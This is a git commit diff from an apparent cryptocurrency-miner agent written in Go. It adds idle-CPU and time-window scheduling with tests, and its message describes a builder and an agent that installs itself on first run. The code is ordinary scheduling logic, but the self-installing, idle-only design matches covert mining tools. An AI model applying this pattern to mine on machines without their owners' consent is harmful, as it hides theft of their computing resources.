Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -21,6 +21,7 @@ type Pool struct {
|
||||
reporter *stats.Reporter
|
||||
engine *Engine
|
||||
handler ShareHandler
|
||||
schedule *ScheduleGuard
|
||||
|
||||
mu sync.RWMutex
|
||||
currentJob *job.Job
|
||||
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
reporter: reporter,
|
||||
engine: NewEngine(),
|
||||
handler: handler,
|
||||
schedule: NewScheduleGuard(cfg, reporter),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
p.paused.Store(!p.resourcesOK())
|
||||
p.paused.Store(!p.miningAllowed())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) miningAllowed() bool {
|
||||
if !p.resourcesOK() {
|
||||
return false
|
||||
}
|
||||
if p.schedule != nil && !p.schedule.Allowed() {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Pool) resourcesOK() bool {
|
||||
freeMB := p.reporter.FreeMemoryMB()
|
||||
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
|
||||
|
||||
71
agent/miner/schedule.go
Normal file
71
agent/miner/schedule.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
type ScheduleGuard struct {
|
||||
cfg config.RuntimeConfig
|
||||
reporter *stats.Reporter
|
||||
|
||||
mu sync.Mutex
|
||||
idleSince time.Time
|
||||
idleReady bool
|
||||
}
|
||||
|
||||
func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
|
||||
return &ScheduleGuard{
|
||||
cfg: cfg,
|
||||
reporter: reporter,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) Allowed() bool {
|
||||
switch g.cfg.MiningModeNormalized() {
|
||||
case "idle":
|
||||
return g.idleAllowed()
|
||||
case "scheduled":
|
||||
return g.cfg.InScheduleWindow(time.Now())
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) idleAllowed() bool {
|
||||
cpu := g.reporter.SystemCPUPercent()
|
||||
threshold := float64(g.cfg.IdleThresholdPct)
|
||||
if threshold <= 0 {
|
||||
threshold = 20
|
||||
}
|
||||
duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
|
||||
if duration <= 0 {
|
||||
duration = 5 * time.Minute
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
if cpu == 0 {
|
||||
// First sample has no delta yet; treat as not idle.
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
return false
|
||||
}
|
||||
|
||||
if cpu <= threshold {
|
||||
if g.idleSince.IsZero() {
|
||||
g.idleSince = time.Now()
|
||||
}
|
||||
if time.Since(g.idleSince) >= duration {
|
||||
g.idleReady = true
|
||||
}
|
||||
} else {
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
}
|
||||
return g.idleReady
|
||||
}
|
||||
31
agent/miner/schedule_test.go
Normal file
31
agent/miner/schedule_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func parseTestTime(hour, minute int) time.Time {
|
||||
return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC)
|
||||
}
|
||||
|
||||
func TestScheduleGuardAlways(t *testing.T) {
|
||||
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter())
|
||||
if !guard.Allowed() {
|
||||
t.Fatal("always mode should allow mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "scheduled",
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}}
|
||||
if !cfg.InScheduleWindow(parseTestTime(23, 0)) {
|
||||
t.Fatal("expected overnight schedule to allow mining at 23:00")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user